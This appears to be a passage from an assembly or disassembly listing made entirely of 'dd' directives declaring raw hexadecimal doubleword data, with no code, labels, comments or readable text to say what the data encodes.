		dd 0A43B4E2Ch, 0B17AFE07h, 1882F570h, 7F8326F1h, 83E1378h
		dd 8D8C6B8Ch, 1449F3h, 47748035h, 0C995FFA3h, 0D7B8F0Fh
		dd 0EE62A34Ch, 4A290C07h, 3671640Eh, 7265CC00h,	7A7D559Dh
		dd 0C58A071Eh, 6B301h, 501D0B1Ah, 0A6F0DF00h, 5D08254Bh
		dd 12809811h, 21F4F915h, 250F0360h, 2024D0D0h, 7840DD83h
		dd 0E1500E07h, 4856678Dh, 91F95623h, 300B2A00h,	38A28517h
		dd 0B80D01F0h, 5C1FBCEEh, 1B882004h, 0A6752A3Eh, 0D9404410h
		dd 342B035Eh, 606C49D6h, 0D7762F90h, 0FE6B7244h, 2C89C078h
		dd 9722B7BBh, 9A0916EAh, 187AB371h, 0C05D1060h,	2ED66361h
		dd 0B804FA48h, 3CEC51C2h, 3FBCE481h, 7E470C20h,	0E0A48Dh
		dd 0BA7DC06Eh, 1464ACE1h, 0DCBBF007h, 5DC48F9Eh, 6F3CEC81h
		dd 45CE9187h, 0DCD36097h, 1F0116E2h, 0F0DBB7F7h, 0B02E4ED2h
		dd 0B4582BB0h, 69FC1168h, 72F0611Eh, 54A0E3C9h,	38D4C7Dh
		dd 99F99612h, 38C40109h, 54D215E4h, 428070h, 5BFE96E5h
		dd 3B115C7Dh, 909BDE37h, 98206555h, 7BFA2E2h, 2D5A6130h
		dd 0E0F1B710h, 0AB3379ECh, 0FC52E501h, 20E455D0h, 603C1D8h
		dd 0D3714A5Eh, 397C6974h, 0B4A22800h, 0A78C221Ah, 0CBED38F3h
		dd 54F0E005h, 44D41460h, 3C075B22h, 6DD09A2Dh, 407AF6A2h
		dd 28C1C201h, 3EA0154Ah, 9C4CE862h, 4F58FE84h, 0E0B9FB61h
		dd 93EFC73h, 477DEBA3h,	9EB308B1h, 79C3AD6Ch, 71D395h
		dd 0DC4854A9h, 0F732987Dh, 0E649E27Ah, 0C089308h, 9E168271h
		dd 0FC4EB3D7h, 801C3A58h, 76D24A69h, 4E9831h, 87916C3Ch
		dd 8394B8EBh, 0C3EEFB02h, 808CB3C1h, 0D8AD1D64h, 0DA300051h
		dd 43E61E5h, 0F0C9F0B4h, 277C044Ch, 0E0275922h,	85B85A20h
		dd 0EBD3312Dh, 374B97C9h, 74A42CE0h, 0A6D1F60h,	8FB10185h
		dd 0E334915Fh, 0D8DC304Bh, 0AC235B40h, 179086CCh, 121D750h
		dd 3047535Ah, 0BA7BE488h, 0B9E6F0B0h, 0A4DD9413h, 81586008h
		dd 0E699FBB1h, 13E03053h, 780EC1D2h, 0F91B91F5h, 0D2C061F7h
		dd 9849C292h, 3C89E0h, 0B3342DD4h, 0C87C4CF8h, 226CF311h
		dd 3D5A076Dh, 0A0A15DDDh, 0D3ABA85Ch, 72003899h, 1C586B65h
		dd 0F729131Ah, 154C30F4h, 0D5677541h, 92A952B1h, 11500048h
		dd 2473A5A3h, 11CCFAF3h, 3DE603DAh, 402DCD8h, 0F4A2748h
		dd 5FFD4062h, 64898Bh, 642DD10h, 0FEE7F05Eh, 766AA112h
		dd 1286C88h, 8FBA9743h,	504FB99Eh, 4DC37E3Ch, 5321D317h
		dd 89EB1408h, 0BCB026DFh, 3300F750h, 0B9C4D8Ch,	0A1983B84h
		dd 0D311FFB0h, 3A411087h, 0BA6C00F1h, 31F7E11Ch, 13055192h
		dd 0ACB13EADh, 726A8C61h, 0E8789432h, 0EFF924A6h, 13B2433Ch
		dd 1BA925A8h, 0D3324B7Ah, 448DD164h, 38E70068h,	4EA8BC1Ah
		dd 64EE0342h, 0CC9093FCh, 0E0681728h, 54AC74B0h, 248BC958h
		dd 6B676470h, 98E0518Dh, 92D60FBAh, 0EA9E460Eh,	1E0A0114h
		dd 158E8D17h, 0C151E04Bh, 2E58F33Bh, 0FA608871h, 155605h
		dd 36C92411h, 133129DBh, 4450AC2Eh, 21F123C6h, 0BC005AFBh
		dd 4D5BD46Eh, 0EBB0A0DFh, 0FAF98805h, 3B296764h, 3F4500C8h
		dd 0C780A978h, 287CE403h, 6B1FC11Ch, 965244E0h,	53308802h
		dd 627CE07Dh, 51FB60F3h, 9D09754Ah, 8C84D25Ch, 412C628h
		dd 4B1C1710h, 223C8A3Ch, 72A9005Ch, 0E68EF7BBh,	0A4289369h
		dd 8313CA14h, 0D0767498h, 22D24A68h, 92137894h,	59F0E4DBh
		dd 38D4E47Dh, 3C1EE509h, 127D9425h, 60C917E8h, 0C455B978h
		dd 3334A925h, 5FD40EB8h, 2C445ABEh, 483CC24Fh, 7CC81025h
		dd 72D00058h, 4CF21FFCh, 961728BEh, 3D008DD8h, 714F3CFAh
		dd 69F529F9h, 76811BCh,	512B1862h, 0ED4BE850h, 0D3BD05B6h
		dd 80E78B7Bh, 2620C99Fh, 736B2312h, 90100C22h, 1C1F3A0h
		dd 6A743A5Ah, 425713B1h, 0CAC8D4h, 0C3F47440h, 80D1DE24h
		dd 0B4B4350Fh, 8C998270h, 20A4AFF5h, 50513893h,	34CD0044h
		dd 0D98C97Fh, 2E0C8764h, 818BD3F5h, 0BEA5000Fh,	0E707634Eh
		dd 5B03C730h, 41B35390h, 33A1B709h, 0FC26FE45h,	0CA407C2Eh
		dd 1F41148h, 0B3D39C4Ah, 0BAF0E89Dh, 224094AAh,	0D94E0038h
		dd 0EE650CAEh, 2CFCBB49h, 7C3BE771h, 253B8051h,	0F0D094D2h
		dd 55C20D7h, 748053h, 0DD48A115h, 48E4B86h, 0F1F9C134h
		dd 2B38461h, 612F644h, 6600E851h, 696755E7h, 0C4AC94FCh
		dd 10C0984Ah, 95804894h, 0A8386569h, 43FF004Fh,	8C8D0627h
		dd 6001826Dh, 0BA7A8EA9h, 0C20DC1Fh, 30CC983Fh,	0DD7189D3h
		dd 0E071EBDFh, 90B75100h, 0E3564422h, 0AE8F0071h, 0B3370A5Dh
		dd 62666C6Fh, 0B0399F78h, 5010F580h, 1F07E3EBh,	0BA02C9A1h
		dd 0D94A44F1h, 11758E80h, 0FF94BB4h, 20F60D13h,	5DB1BC91h
		dd 0D8206E12h, 0E241BFFh, 0A5CF78B3h, 61486097h, 99F7EDh
		dd 0BF9010A5h, 5E2D1402h
		dd 3B00B46Dh, 0B340C45Ah, 6E0BA813h, 11706B42h,	0BC6210D0h
		dd 0D1352E01h, 33153CE9h, 39440080h, 960FA082h,	7AB801CDh
		dd 0A88AA32Bh, 0C6DC2C3Fh, 7495A10h, 0EBFAE992h, 982ED563h
		dd 64948010h, 6C077411h, 0A57A1EC6h, 10C85DE6h,	94DF2C4Eh
		dd 1E4A29C0h, 4EF14B62h, 4CC750B8h, 31346015h, 974FC802h
		dd 16791420h, 88370017h, 0E104074Bh, 0E7041CECh, 5C186A15h
		dd 7022D0B7h, 5B715409h, 0FA010042h, 0B3B1D8FDh, 8C6B8870h
		dd 643C92A6h, 0A4888D39h, 57D0F43h, 0DC41E2F2h,	2BD6086h
		dd 758C40E3h, 0C47848C2h, 9E0C8C56h, 0D941F18Ch, 1EB92F02h
		dd 0C878C8A1h, 582012D4h, 3A01645Eh, 8D09F86Ch,	243180FDh
		dd 6080B931h, 61A10017h, 0C818FB8Bh, 497A0F5Dh,	2D56947Fh
		dd 0CED459D4h, 442CD6F9h, 0BA9B00C3h, 8761B955h, 6E0082DBh
		dd 5375BFB3h, 0BA7AAC08h, 0D9F400E0h, 0A3273ECFh, 0B4099037h
		dd 85B3C554h, 0DCCC7B80h, 8ADC5CC2h, 0E0447F2Ch, 59F2F929h
		dd 0E6514CB4h, 3100E823h, 87638C8Eh, 650061AFh,	11EF171h
		dd 1C5F2F6h, 20E154Eh, 60C681B7h, 0B28868ACh, 81109C8Ch
		dd 145743CFh, 0DF7361DDh, 0AF33B1F8h, 4D655109h, 6C083915h
		dd 2E20E010h, 5A84FE00h, 504BE93Dh, 0FDA41247h,	6D0C71D5h
		dd 44E1087Eh, 0E2598174h, 7879111Ch, 0EE622009h, 0F7434464h
		dd 5608F123h, 0B4733E9Dh, 192C42D8h, 30127451h,	0B3EC88h
		dd 0C815FB63h, 588A52D8h, 0FEA49B2Eh, 71649125h, 0ECB31F08h
		dd 0CA68E214h, 6C2C1478h, 9C20D397h, 0ED74BA2h,	58F22C56h
		dd 0ED4A7B60h, 0F8AA736Fh, 0DA0B0446h, 17DF54Dh, 0B2976B7Eh
		dd 13F2A021h, 152775DAh, 6CB43A52h, 0B2BE0270h,	3C07CFF5h
		dd 5A0410E4h, 21E61A89h, 65CC6CC0h, 0D8F853C6h,	2300BD39h
		dd 0A3193A2Fh, 2005796Dh, 8F46DEE8h, 9E8C8498h,	0FBE8078h
		dd 9C0EFE94h, 0DADBE70Bh, 245C94F4h, 5C44782h, 88FBBA32h
		dd 17887E8Ch, 2D3E053Dh, 8C06F9Fh, 10A566DCh, 12FCB34h
		dd 51E3B3E8h, 621B5DB6h, 326B808Ch, 94188Fh, 960DB369h
		dd 0F98AD9F5h, 6855F824h, 0A0F67D44h, 0C1E8802Ch, 0F4B9F4B2h
		dd 26057997h, 0CE330B9Dh, 5D1024A3h, 0D8205AC2h, 7FCF62h
		dd 41D6D80Eh, 831192FBh, 0C0069B26h, 8C32C4h, 0A05100A1h
		dd 0DB0CD6FDh, 1C99E29Bh, 6DE80481h, 53D049C5h,	0CD6000ADh
		dd 0EC998D78h, 0D1D56DDh, 0A185DEBCh, 0B4FEF9h,	97018C47h
		dd 33F9ABD3h, 24291926h, 0E4C17D89h, 648823EDh,	7D4959D8h
		dd 5364A804h, 0A4C0830h, 33910083h, 0F484B12Eh,	802906F0h
		dd 4A40C42Dh, 2BD1CF1h,	2D0DF886h, 1451964Bh, 0CF98E700h
		dd 1C991BC5h, 81DF2186h, 23288DB7h, 0F148EC12h,	9CD39D01h
		dd 14B3FCAAh, 9C507CD9h, 0CD460Ah, 71BAB75Eh, 160D3823h
		dd 7901F09Ah, 0AFDD9D1Ah, 0CC26224Bh, 150EDF23h, 939C34F9h
		dd 623C6C91h, 7E00A1BCh, 966456F3h, 0CBE687BEh,	0BBF51900h
		dd 5D598F3Dh, 73C12614h, 25711D0h, 23B8D61Fh, 1884F88Bh
		dd 51D4D776h, 0EE7CF916h, 0A4B6DB90h, 149BED85h, 706A9C70h
		dd 3021D28Dh, 0CF3613DCh, 0D49E1100h, 3752BEFBh, 658012AAh
		dd 0DBC4061h, 95C45351h, 0DD76DF13h, 0C8989C34h, 8EF58B2h
		dd 69036322h, 2272AC49h, 0BC25A843h, 76140792h,	0B4532788h
		dd 4CB0F6B4h, 0FE3B7A54h, 88ABA403h, 61F5F986h,	8000B151h
		dd 0D37B6610h, 5912CD95h, 688751F8h, 0FE9C1149h, 94DFBB10h
		dd 0F5752400h, 0BCA63CF6h, 205A00F2h, 0BB2DCD9h, 0D8486312h
		dd 64D2A230h, 0B74F031Ch, 74720E24h, 19887430h,	65C332h
		dd 15F05A12h, 294BE4F8h, 0A29D6901h, 0B138868Ch, 98E0430h
		dd 0F513C703h, 8851A03Ah, 23EC970Fh, 88AFE5E0h,	0FA441907h
		dd 0C0A0B40Ch, 69AAD3CCh, 7093AC01h, 9648F649h,	85C02878h
		dd 2D61D373h, 88529E01h, 1AE88925h, 3C2C0C61h, 0F6F9A00Bh
		dd 20FC641Bh, 51D7EF4Bh, 9432A04Dh, 554FE088h, 18958B94h
		dd 0E073DCh, 0A2E62BEAh, 400D17A3h, 965B8A07h, 9177DCB1h
		dd 7BB5C842h, 0A8112570h, 148170C7h, 0B2563Bh, 0E08D7EB6h
		dd 5A7A415h, 971E4BBEh,	0B3ACB43Ah, 0B074DFF6h,	0C4044E00h
		dd 0B240D476h, 97452D26h, 422CDC31h, 1041DF80h,	64C01449h
		dd 16F4B92Eh, 98419DCDh, 0A2909EA8h, 13BF1107h,	0E4691FE5h
		dd 4284B038h, 45F6386Eh, 7E0C4Ch, 0C391FFBEh, 0F06CDE6Eh
		dd 8601E1EAh, 9E5F06F9h, 0C068DF69h, 7F9E87C8h,	0B15F98C7h
		dd 0BB6FBAC3h, 0AF0EE024h, 0B8B4F2C4h, 4344B650h, 0C69055D2h
		dd 0F6004199h, 589A5C32h, 2C9085DCh, 870DE3Dh, 38269E12h
		dd 5A45B007h, 0F0A86124h, 219C3F83h, 2A03E7F0h,	0C010B758h
		dd 0FB6F3CCBh, 0E3E50036h, 75724D61h, 5AEA1D67h, 301F9E25h
		dd 60D33110h, 0CB3BC976h, 1701B491h, 53E96A5h, 0E0C0DCFEh
		dd 5CBAF7B1h, 244C06BFh, 161F7122h, 31EF4174h, 0F51261D0h
		dd 50FA760h, 0AF6FE100h, 0D794ED1Fh, 0F082581Ch, 998BFBC0h
		dd 0E7271002h, 0EEA031C1h, 0F4594463h, 7145723Eh, 0DB98C47Ch
		dd 91AF027h, 597C8434h,	2075614Eh, 3681B84Dh, 2869FBF9h
		dd 83F48864h, 519C7441h, 0D29847C3h, 8B07EE25h,	7C1D90F0h
		dd 7834F1E0h, 891E3A0Ah, 26457900h, 0D2957AA3h,	0FAEF0903h
		dd 0EB6F7506h, 90300024h, 9EF680C5h, 510FEE0Dh,	0A075ED8Fh
		dd 9BB0A219h, 330DB091h, 7961A1EFh, 940039EEh, 38FF76C9h
		dd 61EA9Eh, 3185A08Fh, 0CBDE23Dh, 8EFC6D00h, 0EF423E4Fh
		dd 78256029h, 7383B6E3h, 0E8A8B0C0h, 91C0D9h, 26359D9Ch
		dd 75E3A03Ah, 0C9465CA4h, 88999F0Ch, 0F5378B41h, 98C49996h
		dd 0A47B035Fh, 11092379h, 60A2B601h, 0F15EBF3h,	96735305h
		dd 2749B07Fh, 7C00837Bh, 0D4E2E816h, 0E64523h, 69ACAF96h
		dd 4C1CB1DCh, 0B6FF3C00h, 6F74F8BDh, 0A2C0F590h, 6980C293h
		dd 8D2F2413h, 7BF0590Bh, 192D6079h, 36FCD6F7h, 5AF8000h
		dd 30E4B067h, 545800F1h, 1E399B5h, 0C606A8DBh, 15793181h
		dd 28B20039h, 9EF31A6Dh, 3500309Ch, 0C726A9ADh,	0A89DED8Bh
		dd 451BF080h, 1112E00Ah, 3AD0B500h, 5B31CBF1h, 1358C0B7h
		dd 0A16D844Ah, 3D9DF200h, 8DBC57C8h, 0A21D1E12h, 228941E6h
		dd 8ACEA8Bh, 0D18A60B4h, 9A6BDF4Ch, 7F66D00h, 0D8EAE7A3h
		dd 0ACA105FEh, 3041BEFh, 91F01340h, 80644ADFh, 2572B1CAh
		dd 0D606A9AFh, 12DD3DB9h, 144C0CA0h, 0FF291778h, 83612300h
		dd 95E0441Ah, 0ED083CFDh, 918167BAh, 5D1FB9A0h,	0E001F4F1h
		dd 821E680Eh, 0C6B1F88Ah, 29CE3A3Ah, 8900A857h,	373E5235h
		dd 716065C9h, 167E77A9h, 50EF03B7h, 0A9BF7B2Dh,	8C6FC601h
		dd 0CA0E019Ah, 0B5E69C50h, 9584A98Bh, 4920D8F1h, 6D4009DEh
		dd 2C80F1EFh, 67237BF3h, 0D9983332h, 20A44078h,	9BF4889Ch
		dd 6EE8F089h, 0C4110041h, 5FF57912h, 1512B1DDh,	7C0394A6h
		dd 72646563h, 988A1EA9h, 8B5AC0F5h, 0C33CFE47h,	93446100h
		dd 900BEE68h, 0E6782981h, 0DAF880B8h, 37A02134h, 0CC4824E6h
		dd 0A38AC604h, 0FEB83C89h, 67103800h, 0CDE0610Bh, 0B2660D00h
		dd 6C7E6ECCh, 0E7450630h, 98B63715h, 84A88CE6h,	0CC0E9331h
		dd 80B5ABBFh, 0AA7584F2h, 440309CFh, 0C424AD85h, 78AF441Ch
		dd 5DF8DE80h, 0DD470EE0h, 6182FC09h, 9484CCF1h,	0A9ED2124h
		dd 80317911h, 0A437BB41h, 984D97h, 448C508h, 842607EDh
		dd 3E34C102h, 0B844378Fh
		dd 87F0FCh, 549298C7h, 2D113634h, 0F812D61Dh, 869FCB80h
		dd 4924DC3Dh, 78C660E9h, 9200792Eh, 0C3E4CD28h,	0BBC2ABh
		dd 2CE71872h, 4BF8F422h, 6B65B018h, 96D139h, 89B5D6F2h
		dd 0E96C5AA1h, 872C3D49h, 0A0EA9C9Fh, 396C658Ch, 0CA8F0025h
		dd 0EC7F68D5h, 0B8A6E6B1h, 0F38B3D12h, 6C8C1C24h, 0E2E10135h
		dd 8B67655Dh, 8021BAA4h, 0E6FB53C5h, 0EDADC5Ch,	8F11AFBDh
		dd 6DCA0380h, 42458C3h,	8B9250FDh, 242A9C20h, 0CAD304F6h
		dd 97C80196h, 4C1737ACh, 0E49BD271h, 81B6D604h,	10C69940h
		dd 0B02DEC5h, 0E0496D77h, 0E84479h, 0D3B3C8FDh,	932AEB1Dh
		dd 78F65F13h, 363DF030h, 15A81384h, 0E94428A7h,	6F889144h
		dd 0F1B0CCh, 7718C24Ah,	86ED78h, 0B4CB3019h, 109914C0h
		dd 0F05A2B00h, 0E528EF05h, 90714C7Dh, 789D3B06h, 0DE009930h
		dd 938AE79Eh, 278422h, 3CD25625h, 73B4E64Fh, 3AB6F401h
		dd 12D566E0h, 4015A2F8h, 7E01C25Ch, 55F007F8h, 0F059C541h
		dd 752A68B8h, 83F406ECh, 116564FAh, 72396604h, 0C3BE9E3Eh
		dd 58E1F89Bh, 0FE053083h, 840DA804h, 98DDE7h, 80A492C9h
		dd 0EAF35Ch, 782B97B9h,	0BE9864Dh, 386EFB00h, 0F19CF3Dh
		dd 0A81B48DAh, 65301822h, 9DF68168h, 83B9001Eh,	0D509294h
		dd 0E34DAF67h, 8ADCC23Ch, 1774009Dh, 0AE006593h, 0D621BD03h
		dd 4191E7h, 5C8E4043h, 66B9F813h, 3D6FFB00h, 42FFAFFCh
		dd 9BA505FDh, 9B78DD8Dh, 7D9711E4h, 60797109h, 0A7E67402h
		dd 65112F11h, 0C8A1F0F7h, 83229600h, 54EA67A4h,	0CD07B99h
		dd 1311E094h, 0DC891CF0h, 71B749E4h, 20173069h,	2C449D49h
		dd 399FF104h, 10C3A43Bh, 0F2A2B973h, 1B3889B0h,	725465E3h
		dd 0DF05BF98h, 0C44DE680h, 842264CBh, 3BE5AF00h, 0A2BE8E5Fh
		dd 19E400EBh, 144A8B70h, 0FF26E010h, 0B4606420h, 0A6F06Dh
		dd 0DFFA7B8Bh, 5F8CD2EFh, 111943Ah, 53C3CEC8h, 0A045650Fh
		dd 8C24E09Ah, 42140788h, 92AD95ACh, 9C113888h, 6E815910h
		dd 0F901537Dh, 0C4E3AD58h, 6826CAE0h, 0F87BC300h, 57C2DAA3h
		dd 0D98FB630h, 174E055h, 420CED53h, 3CA6C103h, 5E5C01B6h
		dd 2BAB1019h, 0A1222C67h, 0C230B305h, 0F48008A3h, 2EE64640h
		dd 5C3EA88h, 9841D5C3h,	164C68B0h, 24C58934h, 0B1401878h
		dd 5A8812B7h, 0B4B80475h, 0F8BF8928h, 59BBC20h,	64DF578h
		dd 1D94018Fh, 0AB1FEE8Bh, 0B2923489h, 0DC647430h, 0E04F0168h
		dd 177F2E2h, 21682032h,	7615FA04h, 488643Dh, 0F27B0050h
		dd 1CAF9469h, 0EB049E3Bh, 0F16E5B9Ch, 0A1100CBh, 5EEE0276h
		dd 6C137398h, 0ECDC0F6Ch, 0D69E5Bh, 12AA8B1Dh, 7424ED8Fh
		dd 0A7601414h, 92F228h,	0DA321985h, 58BFB5B9h, 14EA1200h
		dd 5CDD2972h, 0FF1C2633h, 0F1844F38h, 0D47CC23Dh, 0F2C41829h
		dd 0B64400F3h, 0F8CF2102h, 0FC93C865h, 0A1226010h, 734A3F01h
		dd 8C1CA5Ch, 10E16C0h, 0D89EF1ECh, 2846ACA6h, 0FF409EA0h
		dd 82C1BBE5h, 3938385Ah, 64624500h, 0E8179ACh, 40A8F203h
		dd 39E8ADDh, 0D5CBB361h, 22902D6Dh, 9A00723Eh, 56D03F0Eh
		dd 789981E4h, 0A08B3047h, 3919BD31h, 34A6F91Eh,	0F5F74F40h
		dd 10DE242h, 8F8C1C25h,	64509592h, 4986EB1Ch, 0F0809CC5h
		dd 9FAE0742h, 13468C14h, 0F58B12BCh, 0D0070CAh,	0BA04BF81h
		dd 0F905E2C5h, 0BE0BF04Dh, 242C9082h, 4FA9C013h, 6C965E30h
		dd 0B150E840h, 0E1A313D8h, 0D31C712Dh, 7470A43Dh, 80F458h
		dd 0B96AD185h, 0BCA6AD3Fh, 0B8F02600h, 847C9B8Bh, 735CB8EAh
		dd 8C5305FCh, 206A061Ch, 0FAD011FCh, 132A5248h,	888F18Bh
		dd 0ED71093Ch, 54323E63h, 0C004C51h, 3617E33Bh,	79EBFE5Bh
		dd 253402FAh, 651EB658h, 2C91D44Ch, 3E12D483h, 713DC07Eh
		dd 52990234h, 9D9F295Ah, 0E8428492h, 1400E06Eh,	0EADD2447h
		dd 2E545915h, 60249673h, 81977C0h, 978A8018h, 2E51639h
		dd 0ABEDDCA9h, 0F445F4B6h, 619C5610h, 60827811h, 1CE4E78Bh
		dd 0F91A7930h, 0FCF1B1h, 0AAD87F58h, 0BE52343h,	0E3F65D00h
		dd 71D3874h, 70894D7Ch,	0E4397A89h, 373ED17Eh, 0A33958h
		dd 8C808DBAh, 20EA22CEh, 0D04261BDh, 384C5043h,	0E9AF00DDh
		dd 3506CCC2h, 0EB425101h, 98F48BC1h, 227E7452h,	60C112DCh
		dd 6E8F0982h, 7292DA6Eh, 20A4F188h, 682264A0h, 0D2C4C175h
		dd 0B9E02030h, 67FC8C9Ch, 0B89C8CA1h, 60E5EF8Fh, 0D5CE044Ch
		dd 0E65E04F2h, 8A01FFD1h, 78C60078h, 260F710Ch,	3CF00C8Eh
		dd 3E516964h, 3884E3Ah,	0D8CB6CC1h, 67EEE02Eh, 242A0014h
		dd 3E61ECD5h, 31C06365h, 5D2B82DDh, 627A0021h, 22EFAB8Ah
		dd 32EE17D9h, 30641027h, 961F6878h, 1BCA888h, 679D6BC0h
		dd 2C99F159h, 98E2C0F0h, 0AA8C1A74h, 0FD1440E8h, 5034009Ch
		dd 0C4E923DCh, 0E4A112DDh, 74050FD4h, 8779C70Ch, 791B36F0h
		dd 0E3B2EA00h, 3C832E71h, 36B7023Ah, 6AA93068h,	1C867479h
		dd 0B9E96E05h, 38A701CCh, 272EB224h, 0EA122C4h,	51BC3945h
		dd 0FA5575A0h, 0ED01C1F1h, 3260F2BBh, 0BC244F3Ch, 7F89178h
		dd 90FB11EBh, 80C4766Bh, 91710E00h, 1C0894F6h, 9609E4E0h
		dd 1101BC84h, 0F60A16D3h, 69DC241Ah, 0A8CF3D88h, 3C3C0F44h
		dd 0FB809F9Ah, 0D834A37Dh, 3701AAD4h, 17CE9B82h, 7B703566h
		dd 62DB4A8Dh, 0D484CBA8h, 0E4C5401Eh, 2412209Fh, 0E2647B13h
		dd 852591E7h, 441F20DCh, 10B4B62Eh, 8DD03E86h, 401E018Eh
		dd 2F659862h, 94106966h, 99590511h, 44227DC7h, 0F08440C6h
		dd 0FDC488E4h, 4A81AC01h, 0E2F120AEh, 28833438h, 390F2279h
		dd 0C00E84CBh, 9E75E305h, 2869E63Bh, 44501C13h,	0F900D386h
		dd 2CCABDE7h, 486C0835h, 9DA2DC26h, 3384F020h, 1CCA3E1Eh
		dd 6AF0E926h, 4B86C964h, 3D48692Bh, 0F60C09Ch, 0E01504h
		dd 0E247577Fh, 7EC626A9h, 97643200h, 1AE3119Ah,	22C407D2h
		dd 0F46078DDh, 1488865h, 0A01C03F8h, 0D54535D1h, 84824027h
		dd 0EC982910h, 0D900292Eh, 0B24ACCCDh, 92B1783h, 0A2EE7BF8h
		dd 0B6DD0CB0h, 0C00E5C99h, 650A4098h, 0E89DF0B1h, 204A16D3h
		dd 55780099h, 1C5840F5h, 735B0722h, 96889669h, 35090B6h
		dd 4C006623h, 6A8F84C5h, 15C66FD7h, 0ACD3CD76h,	22A5EFC4h
		dd 0FC872B4h, 9978FB5Dh, 79CDEE20h, 0B51FD5EFh,	0B4ABD987h
		dd 0D8507A97h, 44DFF0ECh, 0B4B7042h, 5359768Fh,	0E8A26C02h
		dd 6D651C68h, 0FA15C9C0h, 7BE2736h, 0BA4B4973h,	0E9948A86h
		dd 92E85C03h, 65E7B100h, 34F19B07h, 87271305h, 9D24C8E9h
		dd 0F7C5F301h, 85661FB7h, 50D1202Ch, 128E3E03h,	75B0581Fh
		dd 31585570h, 85F6A06Ch, 59C4F7Bh, 0C8156914h, 4581C8Ch
		dd 121B9F58h, 882E499h,	0D07E240Ch, 0AB848CA0h,	0F8137124h
		dd 0F877D1C1h, 2CE0A9E9h, 0C0A4B6h, 84F94240h, 6F85FDA6h
		dd 77456204h, 24E6B8A1h, 8A8BF080h, 0FE3ACA8Fh,	919FB0DCh
		dd 359A415h, 76D716D0h,	0CF81E30h, 0EC242894h, 0C51270A0h
		dd 0E510F01Ch, 88969F17h, 4286EA2Ch, 0C46C4D97h, 0ACE4021Ch
		dd 23142F69h, 40A40013h, 51CDBA0Ch, 989F24A6h, 0F2DC4054h
		dd 560B7E61h, 461C0C9Ah, 0B454AC3Ch, 2AA74000h,	0FD00827Fh
		dd 9B430569h, 0BF291EEh, 5F9736D3h, 3D17D046h, 0D4238C74h
		dd 0F073CB77h, 1CEEF8E6h, 4A9A655h, 0C46F4425h,	0BF0C2C4h
		dd 23ED4091h, 0D4610028h, 0B8213B72h, 0EB110BFDh, 0DC915115h
		dd 0CEF0108Dh, 7F13035Eh
		dd 3B34EB72h, 9D618390h, 0DC7D2D0Bh, 6F943075h,	0C8F55C8Bh
		dd 68E8CD96h, 92E780CCh, 287508FAh, 44C89F76h, 0B548F0AEh
		dd 8EA58064h, 59626D9h,	0BEBA9F50h, 2E80B2BFh, 0EB0F2AE5h
		dd 0B66004Ch, 168DE43Eh, 72795F44h, 0A0D1712Ch,	41486000h
		dd 0D67051h, 0B576BA9Bh, 25EC65CFh, 0A999B30Eh,	3211C96Eh
		dd 0E05C2F98h, 179A44C4h, 746912F5h, 55342179h,	9D58242Fh
		dd 0E4175B01h, 1D688786h, 0C0DD5C62h, 49384A95h, 2305835Eh
		dd 1763F325h, 642610E6h, 1F91110Ch, 1B873589h, 0F4C5BF28h
		dd 468C0C09h, 20134A60h, 22A40B54h, 2FF4A13Ah, 302C0D3h
		dd 62E65A1Ah, 0E38C640h, 0B4330017h, 56D28288h,	507F8152h
		dd 0C789FE00h, 7783C9AAh, 879B299Fh, 7211ECh, 4A636954h
		dd 2595EF23h, 0A4A5FC01h, 12BDC09Fh, 7E2CBD11h,	30E5B0CDh
		dd 530024E2h, 225F4AFBh, 0E21F2605h, 0ED40FE9Ah, 9F696B8Bh
		dd 3C8F509Eh, 5D1886Ah,	1A93F901h, 0EE339AECh, 0EA0DF4h
		dd 3E3554C3h, 718E8D14h, 0B43C3495h, 979140h, 0CF2CD2E0h
		dd 0B8B60582h, 5349428Ch, 0CEE000DCh, 790B912Bh, 0A6180021h
		dd 0D20A89E5h, 6C13A0A8h, 0D0941F69h, 70F84A2h,	0DFEB9B59h
		dd 42C394B9h, 1480A094h, 0DA78F2E2h, 15689617h,	93854020h
		dd 513114C9h, 0CB3EF2DDh, 456B2C8h, 1E196808h, 0F152A8A4h
		dd 7E1E74h, 6B64D94Fh, 2B0027FDh, 0BF769826h, 229D4C7Ch
		dd 14122841h, 2CD1A39Fh, 6C38B306h, 8EC29B82h, 10036FCh
		dd 4C78721Bh, 7EFD02FFh, 63AE2F9Dh, 0FC20E0D0h,	0C7D49C9Bh
		dd 0F80C806Ch, 0D924CCCEh, 0F2479879h, 9EAF1330h, 7A3200E5h
		dd 5F4DA39Ch, 781E66C9h, 0B0A7FE87h, 887209CCh,	0D70B5BF3h
		dd 98A0DEA6h, 12E5E20h,	0CF4DEF70h, 0E8069BA9h,	2D25D02Bh
		dd 0E718B8D1h, 933A0266h, 1283EEACh, 759634D1h,	889268C8h
		dd 3A1F9F46h, 0AA89986Dh, 4184412h, 0E8892DF7h,	1414C229h
		dd 50E448CAh, 55A8D401h, 7F515659h, 30939C29h, 15DB178h
		dd 92FF3Eh, 0E30990CAh,	7680D499h, 0CF0C0497h, 0DDB17848h
		dd 9EB42C08h, 0A69C62C7h, 0CC5ADFA2h, 0FC1C2928h, 0F078009Ch
		dd 0AB81FDC8h, 4BFB3212h, 0F8300024h, 99C187h, 24DD41AFh
		dd 783BD0E5h, 0C7F40A00h, 0E994A7F7h, 8D7A1DF2h, 3EB7CCA5h
		dd 0D4BC40F8h, 0EE10AE60h, 951CBB58h, 880778C3h, 404B1A19h
		dd 0C9419062h, 52669B00h, 0C7A789Eh, 0D73B08DCh, 68C1857Dh
		dd 8382212h, 3E8EB882h,	8948804Ch, 487F24F4h, 659C3009h
		dd 896412F4h, 61BECCACh, 56F36E00h, 309E16F2h, 2B7E67h
		dd 1908AADEh, 71A0D9F8h, 740C535Ch, 0C0A99CB9h,	19589AA7h
		dd 0D0387E58h, 674448A6h, 9DF60714h, 0C401DF6Bh, 543CB9FFh
		dd 0C1D034A8h, 518C8930h, 85188B90h, 0F911E418h, 38AA8E00h
		dd 0AF4AE3ABh, 506D3D4Fh, 0CFC86480h, 3D5C0BE9h, 0D4A03728h
		dd 4B813301h, 0CAE58768h, 1AC83069h, 33310880h,	1E94D4Eh
		dd 0E4FF9C97h, 7D53F687h, 9A9D8408h, 0EB25DC41h, 7306DB4h
		dd 17B3F5Bh, 2F5140EEh,	70A680B7h, 25CE86Ch, 3114341Ch
		dd 0A4D8D725h, 78A88B72h, 0EC4A0196h, 111C6892h, 3CD419C9h
		dd 73A0435h, 0F58AB7ECh, 0E810E898h, 0C0EED100h, 34F196DCh
		dd 791F16CAh, 1C1871ABh, 20F04907h, 5B129488h, 307767EDh
